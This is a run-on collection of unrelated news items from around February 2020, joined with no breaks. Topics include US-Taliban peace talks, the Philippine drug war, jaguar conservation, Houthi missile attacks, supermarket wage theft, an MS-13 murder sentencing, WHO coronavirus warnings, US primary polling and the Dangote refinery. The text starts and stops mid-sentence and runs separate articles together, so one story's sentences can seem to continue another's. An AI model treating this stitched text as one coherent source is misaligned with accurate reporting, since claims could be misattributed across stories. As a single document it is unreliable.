will be held at the Strand Road and Springtown campuses on Wednesday,from noon until 8pm. An Open Day session will also take place at Strand Road campus on Saturday, February 29, from 11am 2pm. Roughly, 3,500 American and allied troops have been killed in a war costing trillions of dollars. Such is the irony of history that yet another superpower is negotiating its exit from Afghanistan as the war-ravaged country recently observed the 31st anniversary of the withdrawal of the last Soviet soldier from its soil. While the Russian forces pulled out in 1989, a decade after invading Afghanistan, it has already been nearly two decades since the Americans have been engaged in an unwinnable war. Roughly, 3,500 American and allied troops have been killed in a war costing trillions of dollars. The US went into Afghanistan in 2001 out of revenge, with little understanding of a land, which is often described as the graveyard of empires. The US officials are now engaged in protracted peace negotiations that could bring their soldiers back home. But theres still a long way to go before the exit is possible. In a major breakthrough, the two sides have agreed to a temporary truce raising prospects of a deal that may bring an end to the US war in Afghanistan. But given the complexities of the Afghan conflict, achieving a workable political settlement may not be so easy. If everything goes well, a peace agreement between the US and the Taliban is likely to be signed by the end of this month that will be followed by intra-Afghan talks. The format of the talks that is likely to be held in Oslo next month is yet to be finalised. Indeed, the possibility of the 18-year-long US war coming to an end has never been so close. But much will depend on the next phase that would require intra-Afghan negotiations on the post-US withdrawal setup. It may not be that easy given the existing political fragmentation in Afghanistan. A divided dispensation with various power centres in Kabul makes it extremely difficult to reach a political settlement. With the ongoing power struggle there is still no clarity on who would represent the Kabul government in the ensuing Afghan negotiations. While President Ghani insists that he would lead the talks, others want a more inclusive representation. In contrast, the Taliban are much more united and prepared for talks. Increasing international recognition has given the militia greater confidence. There are also indications of some of the warlords and power groups striking separate deals with the Taliban, further weakening the Kabul governments position. Then there is the question of whether the Taliban would agree to a longer ceasefire while the talks continue. There is no indication yet of the insurgents agreeing to a permanent truce without an accord on the future political setup. The Taliban leaders are still holding their cards close to their chest. Its certainly going to be a long-drawn-out and extremely complicated dialogue process, given past events. A major reason for the Taliban not agreeing to a longer ceasefire is that it would be hard to mobilise the fighters once they have gone home. Reduction in violence, and that too for a shorter period, still keeps the fighters at the post. The Taliban had only committed to a halt in roadside and suicide bombings as well as rocket attacks. There was a massive escalation in attacks from both sides in the days before the truce agreement was set to be implemented. The Taliban had launched a series of spectacular attacks on the Afghan forces in various provinces killing several government soldiers. Similarly, American ground and air forces have intensified their attacks on Taliban strongholds, killing a number of militants. Many civilians have also reportedly been killed in the attack by the air forces. It remains to be seen whether the two sides uphold the truce, a precondition for the signing of the peace agreement on February 29 in Doha. Under the proposed agreement, some 5,000 Taliban prisoners held by American and Afghan authorities will be released, further reinforcing the insurgent forces. It is apparent that the Taliban have also shown flexibility in their demand for a complete withdrawal of American forces. The drawing down of American forces could start immediately after the signing of the agreement from about 13,000 to 8,600. But it would take several months for the complete withdrawal of US troops depending on the successful implementation of the deal. However, the US security agencies would continue to engage in operations against Al Qaeda and the remnants of the militant Islamic State group. It is evident that there is bipartisan support in the US for withdrawal from a festering war in Afghanistan that even the biggest superpower with its entire military was not able to win. But a peace deal paving the way for Americas exit from Afghanistan will certainly give a huge boost to President Donald Trumps bid for a second term. Still, there is still a long way to go for a peace settlement to end the nearly two-decade-old US military presence that began shortly after the 9/11 terrorist attacks. Importantly, for peace to return to Afghanistan, it is imperative that all Afghan factions must reach an agreement among themselves. By arrangement with Dawn Editor: Local small-town communities like Cambridge need our N.Y. state elected officials to change our current medical and fire department laws to protect them more from receiving frivolous lawsuits by local citizens calling 911 for non-life threatening "emergencies." Our local Cambridge rescue squad receives about 2,000 requests for medical assistance per year with about 20 percent, or 400 road trips, to our local nearby hospitals that are not medically needed. Things like a child having a cough, a teenager complaining about a blister on their foot and the like. It's cases like these that tie our small town medical & fire department resources up in dealing with non-emergency calls where our people feel obligated to provide assistance to avoid getting entangled in possible lawsuits. It's time for our elected officials to provide new and improved laws to protect our local EMS and fire department staffs. These new and improved laws would also help reduce unneeded medical assistance, save man power hours for REAL emergencies, save vehicle fuel and miles, reduce maintance costs of these specially made vehicles and save the taxpayers funds. Finally, the N.Y. state taxpayers need our elected officials to step up NOW to fix our outdated laws because our EMS and fire department staff deserve it, and because all local communities have limited resources. Maj. Greg Woodcock, Cambridge Love 1 Funny 0 Wow 0 Sad 0 Angry 0 The hospital continued to receive additions to the complex, one of which was made possible by a donation from Col. Ira C. Copley in 1932, after whom the building was then named. In 1893, the hospital established an accredited school of nursing on the property which graduated more than 1,100 nurses between 1893 and 1957. I AM writing this letter to bring to your attention the ever present drug problem in the Philippines, which President Duterte has vowed to eradicate. More than three years have passed since then and we are yet to see its end. A campaign called war on drugs was launched in hopes of finally getting rid of it, but this campaign has left a bloody trail. According to the Philippine Drug Enforcement Agency (PDEA), from July 2016 to March 2019, 127,379 anti-drug operations were conducted, 182,061 personalities were arrested and 5,375 drug abusers died in legitimate police operations. There were many more such deaths since the war on drugs began that were classified as homicides under investigation. Many people were happy that the President kept his promise, but there were also those who complained because of it. People rallied and condemned the actions of the government, saying that these were bloody and inhumane. Some said that the government violated the constitutional rights of the people such as right to privacy, presumption of innocence, against illegal search and self-incrimination. The people who were severely affected by the war on drugs were those who lived in slums, or the underprivileged. The campaign was even called a war against the poor. People were scared for their lives; they didnt know if one day it would be their turn to suddenly get raided by the police claiming they were drug pushers, and, if unlucky, they would even get killed for allegedly violently resisting arrest. The war on drugs was easily abused in many ways. It was hard to know if those people arrested or killed were really drug pushers, as the policemen lacked equipment like body cameras to determine whether the arrest was lawful or the shooting was justified. They acted like judges of court, determining who was guilty and who was not. The death penalty is currently not in effect in the country and it is being circumvented in a way because a person may be killed if policemen doing the arrest deem that he/she is violently resisting. I think it is commendable that the President is tackling a problem that previous administrations did not. But I think the methods employed are wrong. The Philippines is not the first country to wage a war on drugs. Other countries have tried and were mostly unsuccessful. The six-month promise of the President to eradicate the drug problem has turned to years and looks to be with no end in sight. Maybe it is time to try something else, something less bloody, something more humane, something that wont violate the rights of the people. (Ryan Dane Magpantay, San Sebastian College of Law) Ten students, some with functional diversity, and three teachers from Huelin secondary school in Malaga recently visited Wales for the first leg of an EU-funded Erasmus+ project: One Class-Total Inclusion. Five days of activities were shared with students from two Welsh special schools and a German secondary school from Ochtrup. WASHINGTON, Feb. 21, 2020 /PRNewswire/ -- There was a big win for jaguars this week at the 13th Conference of the Parties (CoP) of the UN Convention on the Conservation of Migratory Species of Wild Animals (CMS) in Gandhinagar, India, as governments approved listing the species for the first time to protect it across its entire range. Urgent action is vital to save the jaguar, with 40% of its habitat having been lost over the last 100 years. While also a target of illegal wildlife trade, further destruction of habitat and critical migratory corridors likely poses the greatest threat to the survival of this iconic animal - the largest native cat in the Americas and third largest big cat in the world. Attending government representatives of the 130 member parties approved by consensus the proposal to list the jaguar on both appendices of CMS to offer protections for the species, which ranges across 19 states from the US down to Argentina and almost every country in between. Appendix I affords the highest protection possible, with Appendix II requiring countries to coordinate conservation efforts for the species. Matt Collis, IFAW Director, International Policy, and head of IFAW's delegation at CMS, welcomed the decision, saying: "This is an important conservation win for jaguars. IFAW was strongly supportive of the proposal to provide protection for this animal, which is emblematic of the problems facing many migratory species. Halting the loss of habitat and destruction of migratory corridors is vital, especially for isolated and endangered populations, if the jaguar is to survive across the Americas. "CMS offers a unique opportunity to ensure we step up to protect these animals across their range. It is critical to have these safeguards in place for this species if we are to help sustain it in both the shorter and longer term." An Appendix I and II listing will encourage greater regional cooperation, particularly for management of transboundary populations, maintenance or creation of key migratory corridors for isolated populations and prevent further jaguar habitat loss and population declines. While the jaguar is classed as 'Near Threatened' globally, 13 range states have declared the jaguar to be Endangered, four Vulnerable and two have already suffered local extinctions. Co-proposed by six countries in Latin America, this was the highest ever number of co-proponents for a proposal at CMS, excluding those sponsored collectively by all EU member states. This demonstrates the strength of regional support for this flagship species. The jaguar's 'Near Threatened' global status is due to its assessment focussing on the largest and healthiest population in the Amazon. However, a 2018 study found that when IUCN Red List criteria are applied to the other 33 jaguar populations, they qualify as Endangered or Critically Endangered due to their small size, isolation and lack of sufficient management. Collis added: "Jaguars typify the problems faced by large mammals crossing fragmented habitats between national borders. Studies have found at least 26 transboundary populations of jaguar where regular movement across international boundaries can occur as the animals search for mates and food. Maintaining connections between small sub-populations of jaguars that move across borders is critical to protect them across their range and the place they call home." Half of the jaguar's range states are parties to CMS. The future of many other migratory species will be affected by decisions taken at this meeting, which began on Monday and is scheduled to run until Saturday (22). Still to be considered for listing today is the critically endangered oceanic whitetip shark, after Asian elephants were approved by consensus for Appendix I listing earlier in the day. For more information or to arrange interviews with IFAW experts in Gandhinagar please contact Clare Sterling on mobile +44 (0)7917 507717 or email [email protected]. Skype interviews can be arranged on request. About the International Fund for Animal Welfare (IFAW) - The International Fund for Animal Welfare is a global non-profit helping animals and people thrive together. We are experts and everyday people, working across seas, oceans and in more than 40 countries around the world. We rescue, rehabilitate and release animals, and we restore and protect their natural habitats. The problems we're up against are urgent and complicated. To solve them, we match fresh thinking with bold action. We partner with local communities, governments, non-governmental organisations and businesses. Together, we pioneer new and innovative ways to help all species flourish. See how at ifaw.org SOURCE International Fund for Animal Welfare Related Links http://www.ifaw.org The Houthi rebels in Yemen launched a missile attack on Saudi Arabia early this morning but the missiles were intercepted by the Saudi defense system, Reuters reported, citing a Saudi state news agency. The rebel group has not yet claimed responsibility for the attack but the Saudi side said they missiles were fired from the Yemeni capital, Sanaa, and targeted cities and civilians. Last September, the Iran-backed Houthis claimed responsibility for the missiles and drone attack on a Saudi oil field and a processing plant that temporarily removed as many as 5.7 million bpd from the Kingdoms oil production capacity and caused a spike in prices. The Saudis and the U.S., however, blamed the attack on Iran itself, claiming evidence showed the missiles had been fired from the north rather than the south, where Yemen is. A confidential report from the UN Security Council Yemen sanctions committee also denied it was the Houthis that launched the September attacks, with the authors saying that despite their claims to the contrary, the Houthi forces did not launch the attacks on Abqaiq and Khurais on 14 September 2019. Last month, the Houthis claimed responsibility for another attack as well, this time on Aramco facilities in the city of Jizan on the Red Sea coast, just north of the border with Yemen. The alleged Houthi attack came as retaliation for escalating air strikes, on Yemen by the Saudi coalition. The Saudi side, however, never confirmed or denied the attack. The Yemeni war, which began in 2015, has led to the worst humanitarian crisis in the world at the moment, and there is no end in sight, with the fight between the Houthis and the Saudi-led coalition recently intensifying around the key port city of Hodeida. Even so, Yemen is producing some oil: as of late January, the rate was 55,000 bpd, S&P Global Platts reported, a fraction of what the country used to produce before the war broke out but still a 40-percent increase from early 2019. By Irina Slav for Oilprice.com More Top Reads From Oilprice.com: As Emma Germano from the Victorian Farmers Federation told a Parliamentary inquiry into modern slavery, the supermarket duopoly means farmers do not set the price for what they grow and as a result "many growers do not have a choice as to how much they can afford to pay their staff". Both Woolworths and Coles have been complicit in using their status as the lead firm in a supply chain to put enormous price pressure on businesses that supply them. In horticulture, the so-called supermarket "price wars" have led to fresh fruit and vegetables being sold at below the cost of production . It would be easier to sympathise with the large retailers if their recent history was not so chequered. Yet time and time again they have been complicit in driving down labour costs to maximise profits. Similarly, Woolworths last year admitted to wage underpayments of $300 million. Woolworths chief executive Brad Banducci has also contributed to this corporate narrative that the award system is at fault for wage underpayments, raising the "very complex issue" of the industrial relations system stating that at the right time, we'd like to come back and talk about the lack of flexibility in [awards] when interpreted literally". In pushing down fruit and vegetable prices to an extreme level to maximise profits, supermarkets have also turned a blind eye to the presence of undocumented migrant workers in their supply chains. As one grower reported to a national inquiry into labour challenges on farms, "Now the supermarkets have used the illegals - theyre nicely at a distance, and theyve used it to keep prices down." Another example is in the woeful underpayments of trolley collectors. Coles was forced into an enforceable undertaking by the Fair Work Ombudsman for its relationship with a dodgy contractor who supplied a trolley collection service at a value of more than $30 million. Coles was at the apex of a subcontracting chain that saw its trolley collectors being paid less than $8 an hour. Coles ultimately brought its trolley collection service in-house and was forced by the Ombudsman to publicly acknowledge that "that the traditional contracting model it formerly utilised to obtain trolley collection services from trolley contractors was highly vulnerable to exploitation and the perpetuation of poor employment practices by its trolley contractors". Yet another example is the role of the supermarkets and other large corporates in substantial wage theft in the commercial cleaning industry, with a senate report finding last year that "through being 'price takers', the effects are essentially shunted down the line until they come to rest with the most vulnerable individuals in the whole operation: the cleaner". There are many more examples but the point is clear: it is hard to take corporate Australia seriously (and in particular the two main supermarkets) that their recent mea culpa of wage underpayments is a result of a complex award system when they have been shown to be repeatedly complicit in efforts in their supply chain to drive down wage costs below the legal minimum. Crying wolf only works the first time so why are we letting corporate Australia get away with it? There is an urgent need for reform and although the government discussion paper released this week is a step in the right direction, it does not go far enough. Naming and shaming companies and boards and criminalising wage theft grabs headlines but will do little to address the underlying, systemic issues. The United States has not made a decision over whether to deploy Patriot batteries to Turkeys southern border after receiving a request from Ankara, a US official told Al-Monitor. The ask comes amid ongoing clashes in Syrias opposition-held Idlib province as two Turkish troops were killed in a regime airstrike on Thursday. Bloomberg first reported that Turkey had requested two missile batteries through US Special Representative for Syria Jim Jeffrey, who served as the US envoy to Ankara during the George W. Bush and Barack Obama administrations. It was not immediately made clear to Al-Monitor when the request came through, how it was conveyed, how many batteries Turkey asked for or whether Ankara asked to purchase or borrow the units. Any Turkish deal for Patriot batteries could face challenges, as the Donald Trump administration already nixed a $3.5 billion deal for the US-made missile defenses after Ankara took delivery of the Russian S-400 air defense system in July. The Pentagon had long feared that the powerful radar system onboard the Russian weapon could be used to erode the capabilities of the F-35 fighter jet. Turkish media reported on Friday that the United States had turned down the request. But the United States would likely not be in a position to approve or deny such a request made through Jeffrey since Turkey would be required to notify the Defense Department of their formal interest in the Patriot system through a letter to the agency. The Pentagon would then have about four months to respond. The Defense Department could opt to redeploy Patriot to Turkeys southern border to assist the NATO ally, but the agency would face even greater strain on its already stretched coverage for the missile defense system. The Pentagon considers deploying batteries to Iraq after an Iranian ballistic missile strike on Jan. 8 left more than 100 US troops with mild traumatic brain injuries, after deploying three Patriot batteries to Saudi Arabia after it fingered Iran for a drone and cruise missile attack in September. Former US officials who have worked with Turkey on defense issues say the nature of the request is not unusual. NATO allies have also deployed air defense support for Turkey, most recently during fighting in Syria in 2013. But after purchasing the S-400 against the advice of the Trump administration and NATO, the United States may be less likely to honor the emergency request. They always do [this] when it gets hot in their neighborhood, Jim Townsend, a former deputy assistant secretary for defense during the Obama administration, told Al-Monitor. Lets see what NATO says and if NATO agrees lets see who ponies up air defense. Will the US once again send Patriot or do we say, Not this time Erdogan. Buy Patriot! Maybe they should use the S-400s from Russia! BALTIMORE - A freshly dug grave was waiting for the 18-year-old man when gang members lured him to a Maryland park nearly three years ago. They choked him until he passed out. They took turns slashing him with machetes and knives until he died. Then they severed his head, ripped out his heart and tossed his dismembered body parts into the grave. The March 2017 killing in Wheaton Regional Park was part of a wave of violence that federal authorities linked to members of Mara Salvatrucha street gang, or MS-13 for short. A May 2019 indictment charged 22 members and associates of MS-13 cliques in Maryland in at least six murders, five attempted murders, a string of assaults, drug trafficking and other crimes. One of those defendants, 22-year-old Miguel Lopez Abrego, was sentenced Friday in Baltimore to 25 years in prison for his role in the teens brutal killing in Wheaton, a Washington, D.C., suburb. The crime was unspeakable in its violence and savagery, U.S. District Judge James Bredar said before agreeing to the sentence jointly recommended by prosecutors and a defence lawyer. The hearing was the latest in a recent string of guilty pleas and prison sentences in the case. Sixteen of the 22 defendants in last years superseding indictment have pleaded guilty to charges including racketeering conspiracy. Three others charged in an earlier indictment also have pleaded guilty. Since mid-January, nine of them have been sentenced to prison terms ranging from 18 months to 32 years. Six defendants await a trial scheduled to start on June 1. The Justice Department calls MS-13 one of the top transnational organized crime threats in the U.S. and has mounted an aggressive effort to dismantle the gang. President Donald Trump has blamed the gangs violence and growth on lax immigration policies. U.S. Attorney Robert Hur, Marylands top federal prosecutor, said MS-13 is a well-organized gang with funds and people flowing between its strongholds in El Salvador and the U.S. They are a true transnational gang that federal law enforcement is uniquely positioned to try to attack, he said. Maryland, which has a high concentration of immigrants from El Salvador, is at the centre of the federal crackdown. Hur said the District of Maryland prosecuted more defendants in MS-13 cases than any other federal district from 2017 through 2018 -- a total of 77 prosecutions. They really, in a lot of ways, prey on their own immigrant community, Hur said. Their business model in El Salvador is extortion. Thats how they continue to exert such significant control over El Salvadors economy. And thats what they do here in Maryland, as well. More than five months passed before law-enforcement officers recovered the 18-year-old mans body from the grave in Wheaton Regional Park. Federal court filings identify him only as Victim 13. No family or friends were in court Friday when the judge sentenced one of his killers. Lopez Abrego admitted he was one of the gang members who attacked Victim 13 with machetes and knifes, stabbing him more than 100 times on the evening of March 31, 2017. They suspected the teen was leaking information about the gang to rival gang members through a woman he was dating, according to prosecutors. They brought him from Annapolis, Maryland, to a secluded area of the park with the promise of a party. The killing earned Lopez Abrego a promotion from observation to chequeo, a level just below homeboy, according to Assistant U.S. Attorney Kenneth Clark. The prosecutor described Lopez Abrego as a willing participant in the slaying but not a leader who ordered or planned it. The way to move up in the gang is to participate in these acts of violence, Clark said. Bredar called it perverse that one of the primary motives for the deadly ambush appeared to be that it would give younger gang members a chance to prove themselves and earn their killing credential. This was a truly depraved crime, the judge said. Bredar said a 25-year prison sentence for such a brutal killing may not seem palatable to some, but he said it reflects Lopez Abregos lack of criminal history, acceptance of responsibility for the crime and material differences in his culpability compared to other defendants. Defence attorney Elita Amato said her clients background made him a perfect target for MS-13 indoctrination. Lopez Abrego was 2 when his father was killed. He was still a child when his mother left him behind in El Salvador to come to the U.S. His mother already had a new family when, at age 16, he illegally entered the U.S. He was lonely, Amato said, adding that the gang filled a void when he had no one to teach him right from wrong. Lopez Abrego said through an interpreter that he apologizes for the harm that I have caused to society. Thats all, he told the judge. The Ulster Farmers' Union has said the UK Government's plans for immigration following Brexit will leave its members unable to compete with the Irish Republic. The proposals announced this week impose restrictions on the ability of unskilled people to enter the UK for work. Under the Government's plans, a points-based immigration system will be introduced by January next year. It would favour people with a job offer and certain qualifications who can speak English. The salary threshold for migrant workers will also be cut from 30,000 to 25,600 for those with a job offer. Read More Applicants who do earn less, but no lower than 20,480, may still be eligible if they have a job offer in an occupation on the Government's skill shortage list, or if they have a PhD relevant to the position in question. But the Ulster Farmers' Union said Northern Ireland should be a special case given its proximity to the Republic, where workers from other parts of the EU will be able to continue to enter freely regardless of skill levels. The UFU and other bodies, such as Hospitality Ulster and the NI Retail Consortium, are reliant on labour from overseas for many roles, which often pay below 20,480. UFU deputy president David Brown said: "The agri-food industry in Northern Ireland must be able to retain access to non-UK labour and given the border with the Republic of Ireland, it should be treated differently to other parts of the UK. "In excess of 60 to 70% of those working in our agri-food processing sectors are EU citizens. "If free movement of workers is not allowed, it will undermine the position of our processors and our wider industry who will not be able to compete with their counterparts south of the border." Mr Brown warned that horticulture would take a major hit if its supply of labour was cut off. "The feared outcome could shift production from Northern Ireland," he added. "The implications of which will create a greater dependency on imports and will have serious environmental implications, especially for crops that are traditionally grown here." However, Dr Esmond Birnie, a senior economist at Ulster University, said the plans were an opportunity to develop the local workforce. "As an economist looking at the record of the Northern Ireland economy over a decade, I actually think there is a potential benefit in all of this," he said. "It's not going to be easy, but we're going to be driven back to developing the existing labour force, including the people who are economically inactive." A medical professional is seen at a preliminary testing facility at the National Medical Center, where patients suspected of contracting coronavirus (COVID-19) are assessed, in Seoul, South Korea on Feb. 21, 2020. (Chung Sung-Jun/Getty Images) Growing Number of Coronavirus Cases Outside China Very Worrisome: WHO Chief The rising number of coronavirus cases outside of China, including surges in China, Japan, and Iran, are concerning and indicate that the window of opportunity to halt the spread of the virus is closing, World Health Organization (WHO) director-general Dr. Tedros Adhanom Ghebreyesus said on Friday. There are now 1,152 COVID-19 cases in 26 countries outside of China, he said in Geneva, on the same day Iran reported two new deaths and 13 new cases and South Korea reported one new death and 100 new cases. Eight deaths have taken place outside of China. The cases in other countries, some of which arent linked to Wuhanthe epicenter of the recent outbreakor other parts of China, are very worrisome, Tedros said. Irans situation, specifically, he said, is very concerning, pointing to the first confirmed virus patient in Lebanon, a 45-year-old woman, being linked to Iran. Other cases stemming from Iran could pop up in the coming days, officials said. These dots are actually very concerning. Take them as dots or trends, Tedros told reporters. What I believe is, the window of opportunity is still there. But our window of opportunity is narrowing. Thats why we called [on] the international community to act. Voters with face masks fill out their ballots in the parliamentary elections at a polling station in Tehran, Iran, on Feb. 21, 2020. (Vahid Salemi/AP Photo) We call on all countries to continue their containment measures, while preparing for community transmission if it occurs, he added. Officials expressed optimism that the spread of the virus could still be contained and urged countries to be serious about dealing with the spread of the virus. But they also noted that major questions about the virus remain, including its origins, in addition to not knowing what will happen in the coming days. This outbreak could go in any direction. It could even be messy, Tedros said. The situation is evolving globally and experts are seeing, along with the increasing number of cases, different patterns of transmission in different places, Dr. Sylvie Briand, WHOs director of global infectious hazard preparedness, added. The transmissibility of the virus is still being studied. Experts know it can spread from person to person, including through close personal contact and through the air. Dr. Tedros Adhanom, director-general of the World Health Organization, speaks during a meeting with Chinese Foreign Minister Wang Yi at the Diaoyutai State Guesthouse in Beijing, China on Jan. 28, 2020. (Naohiko Hatta/Pool via Reuters) WHO began calling for donations from governments and groups in late January and has sent medical supplies and provided other support to hundreds of countries, focusing on countries that have weaker health systems that could be easily overrun by a surge in cases. WHO sent a team of international experts to China. The team finally arrived over the weekend and is preparing to travel to Wuhan tomorrow. Tedros declined to say what theyd be doing in Wuhan, the city where the virus emerged in December 2019. The new virus is in a family of viruses found in animals that can, in rare cases, jump to humans. After that jump, person-to-person transmission can occur. Experts say ways to avoid contraction include washing hands frequently, avoiding sick people, and not touching ones nose, eyes, or mouth with unwashed hands. Bexar County Sheriff's Office A 19-year-old man was arrested Friday and charged with the online solicitation of a minor under 14. Andrew Cummings is accused of soliciting a 12-year-old via the social media app Snapchat, according to an arrest affidavit. The child's father and grandmother discovered inappropriate messages from Cummings to the child, the affidavit said. The child told police Cummings sent explicit photos and would ask for photos and videos in return, the affidavit continued. The Glenlivet unveils latest Single Cask Edition whiskies The Glenlivet has unveiled its latest collection of limited-release Single Cask Edition malt whiskies in travel retail locations worldwide. This latest collection comprises 15 casks from an inventory aged between 16 and 27 years old, which will be available in travel retailers at 11 locations including Australia, Germany, Malaysia, Dubai, the UK and USA. Every year the whisky experts at The Glenlivet select a handful of casks to be crowned as Single Cask Editions, which gives them a coveted status among some whisky connoisseurs. Consumers are advised to move quickly to snap up one of these special releases - as few as 200 bottles have been released from some casks. The Glenlivet master distiller, Alan Winchester, said: "Demand for rare, prestigious and collectable single malts is increasing every year; that's why The Glenlivet Single Cask Edition was created to offer consumers a rare and distinctive tasting experience." 21 February 2020 - Bethany Whymark Bernie Sanders is gaining ground among black voters, almost matching the support Joe Biden received from that demographic, according to a poll published Friday. The Vermont senator holds 29 per cent support from black Democratic primary voters, a new NBC News/Wall Street Journal poll revealed. Biden, who has boasted he has the most support of any candidate among African American voters and claims that demographic is his 'firewall,' is losing steam and has only a 2 per cent lead over Sanders with 31 per cent. The former vice president even abandoned his efforts in New Hampshire before the primary polls had closed to travel to go campaign South Carolina, where nearly one-third of the Democratic primary electorate is black. Even though the poll does reveal a big decrease in Biden's lead with black voters, there is a significant margin of error of 8.31 per cent considering only 139 Democratic primary voters were surveyed. Vermont Senator Bernie Sanders (left) is closing the gap between himself and former vice President Joe Biden (right) when it comes to support from black Democratic primary voters Sanders has 29 per cent support from black voters, according to a new poll, which is only 2 per cent less than Biden, who holds 31 per cent support Biden's campaign is relying on more diverse states to help his campaign regain momentum after coming in fourth and fifth in Iowa and New Hampshire, respectively. And black voters have been described as his 'firewall' Support among the black community will become more important in the coming weeks as the primary contest moves to states with more racial diversity than the first two early primary states of Iowa and New Hampshire where the states are 90 per cent and 94 per cent white, respectively. Most of the rest of the Democratic primary candidates are having trouble gaining traction with the crucial voting bloc in particular Minnesota Senator Amy Klobuchar and former South Bend, Indiana Mayor Pete Buttigieg. The two more moderate candidates are hoping to maintain momentum as they come off big successes for their campaigns in the first two primary contest states, but neither bodes will with black voters, who will have more of a voice in Nevada caucuses on Saturday and the South Carolina primary the following week. Black primary voters said in the NBC/WSJ poll that they have much more reservations or discomfort with Buttigieg and Klobuchar's candidacy then they have enthusiasm or comfort. Only 3 per cent said they would enthusiastic if Buttigieg were the nominee going against Donald Trump in November and 25 per cent said they would be at least comfortable with the prospect. But a combined 41 per cent revealed they have reservations or are uncomfortable with Buttigieg as their candidate. Five percent said they would be enthusiastic about a Klobuchar nomination, and 20 per cent they would be comfortable, while 35 per cent say they have reservations or uncomfortable. Even though black voters are not excited about a lot of the Democratic prospects, the survey taken February 14-18 shows that only 14 per cent of the same demographic approve of Donald Trump's presidency. And black voters said overwhelmingly that they would support any of the Democratic candidates over the incumbent option. The black voting bloc was previously seen as Biden's 'firewall', but that view has diminished recently as the former vice president has seen quite a large drop off in his support. Pete Buttigieg and Amy Klobuchar in particular have struggled to gain support with the black community as only 3 per cent and 5 per cent, respectively, said they would be enthusiastic about their candidacy if they were the nominee According to Quinnipiac Polls, before the Iowa caucuses, Biden held 26 per cent support from African American voters while The former vice president is only losing steam with black voters he also appears to be losing momentum from his previous frontrunner status in general. In Iowa, Biden came in a stunning fourth place, earning six delegates, and in New Hampshire, he walked away with no delegates as he fell to fifth place. The same national NBC/WSJ poll taken last year showed Biden with an enormous lead over Sanders with, at some points, as much as a 30 per cent margin. The only other Democratic candidate that appears to be gaining ground with black voters is billionaire Mike Bloomberg who has spent more than $450 million of his own money on his campaign since launching mid-November. Bloomberg received about half as much support from black voters in the poll than Sanders or Biden, but all other candidates were reduced to single digits. The poll, however, was conducted before Bloomberg took the stage for his first Democratic debate in Las Vegas, Nevada Wednesday and was forced to face difficult questions over implementing racist stop and frisk practices during his time as mayor of New York City. Image courtesy Great Basin Brewing Company Award-winning craft brewery pairs craft beer with paleontology. Great Basin Brewing Co., Nevadas most award-winning brewery, is continuing their partnership with the National Geographic Society, the Natural History Museum of Los Angeles, the University of Bonn in Germany and the German Research Foundation to present the latest ichthyosaur research from Dr. Martin Sander. He will be revealing the teams newest discoveries made from Nevada to China. Founder and brewmaster of Great Basin Brewing Co., Tom Young, possesses a true passion to foster understanding of the Earth and these once-majestic beasts. Paired with his curiosity for Nevadas fossils is his endless love of craft beer. To honor and support both efforts, Great Basin Brewing Co. has proudly brewed their award-winning Ichthyosaur Icky IPA since 1993. Nevada offers a unique glimpse of what our planet was like over 200 million years ago, explains Young. The Nevada high-desert we call home today, was once at the bottom of a shallow primordial ocean. Great Basin Brewing Co. has supported paleontological expeditions in Nevada for over 10 years. To date the brewery has donated over $50,000 as well as labor and beer, including transporting ichthyosaur fossils in their beer truck through the backroads of Nevada to the Natural History Museum in Los Angeles. This year, Great Basin Brewing Co. and their partners are honored to host the Icky Expedition Party, a party and fundraiser to assist the continuing research of Nevadas Ichthyosaurs. The event will be held at the brewerys production facility, Great Basin Taps & Tanks in Reno, NV. Doors open at 5:00 PM and the presentation will begin at 6:30 PM. Dr. Martin Sander will present the latest findings and reveal the answers to many sought after questions, like why the biggest Ichthyosaurs in the world have been found in Nevada and how they compare to others found in China. There will be food for purchase, as well as games, like 4-person team Pin-the-Tail on the Ichthyosaur, plenty of prizes, live music and more. Fans are encouraged to reserve their free ticket on the brewerys website, greatbasinbrewing.com. A suggested donation of $10 will be collected at the door to help support upcoming expeditions and the preservation of new fossils. Along with Great Basin Brewing Co., sponsors of this expedition include; The University of Bonn, DFG German Research Foundation, the Natural History Museum of Los Angeles County, the National Geographic Society, and the German Research Foundation. Date: February 28, 2020 Location: Great Basin Taps & Tanks, 1155 S. Rock Blvd. #490 Reno, Nevada 89502 Time: 5 PM - 10 PM RSVP Link: http://www.greatbasinbrewing.com Femi Otedola, business mogul, says the oil refinery and fertiliser plant owned by Aliko Dangote, Africas richest man and president of... Femi Otedola, business mogul, says the oil refinery and fertiliser plant owned by Aliko Dangote, Africas richest man and president of Dangote Group, is the eighth wonder of the world. Otedola made the comment in a tweet on Wednesday after he paid a visit to the site of the projects in Lagos. The oil refinery, which is still under construction, is currently valued at $12 billion. It would be single largest in the world upon completion, with the capacity to meet Nigerias fuel consumption. The fertilizer plant is estimated to have a capacity of 2.8 million tonnes of urea annually. Otedola, who described the projects as 8th wonder in the world, said the fertiliser plant is complete and ready for inauguration while the refinery is at 75 percent completion. Visited the @AlikoDangote 8th wonder in the world second largest fertilizer plant (ready for commissioning) and the biggest oil refinery (75% completed, with the petrochemical unit 60% completed). Im still in AWE having not been in Lagos for 5 months, Otedola wrote. Visited the @AlikoDangote 8th wonder in the world - second largest fertilizer plant (ready for commissioning) and the biggest oil refinery (75% completed, with the petrochemical unit 60% completed). Im still in AWE having not been in Lagos for 5 months. ... F.Ote pic.twitter.com/8bXDy1qXr7 February 19, 2020 Devakumar Edwin, Dangote Groups executive officer, said in August 2019 that the completion of the refinery would be delayed until the end of 2020. This is later than the early 2020 projected completion date that was earlier announced. Edwin said the delay is due to difficulty in importing products. (Photo : Screenshot from: Cult of Mac Official Website) Your smartphone addiction might be creating physical changes in your brain that alter the shape and size of it in a similar way to the organ of a drug addict which studies have now shown as researchers looked into the addiction and how it has a negative effect to structural and functional changes in a user's brain. Smartphone addiction, sometimes colloquially known as "nomophobia" (fear of being without a mobile phone), is often fueled by an Internet overuse problem or Internet addiction disorder Read Also: Update Alert! Apple Music Replay Now Has a 2020 Replay Playlist MRI scans have shown bad side effects to a human brain These researchers conducted MRI scans on 48 people and 22 had smartphone addiction or (SPA). The images also revealed the level of decreased activity in the brain which was then compared to smartphone addicts and non-addicts. Decreased grey matter in one of these regions which are the insula, has previously been linked to substance addiction when viewed in a drug addict's brain information. A team of researchers from Germany's Heidelberg University used magnetic resonance imaging (MRI) to look at the brains of people with SPA. Saying that there is a largely decreased ability in a specific part of the brain known as the insula, which some suggest deals with our self-awareness. These researchers wrote as Published in the journal Addictive Behaviors, "Given their widespread use and increasing popularity, the present study questions the harmlessness of smartphones, at least in individuals that may be at increased risk for developing smartphone-related addictive behaviours," The insula cortex and temporal cortex were both found to be affected by the 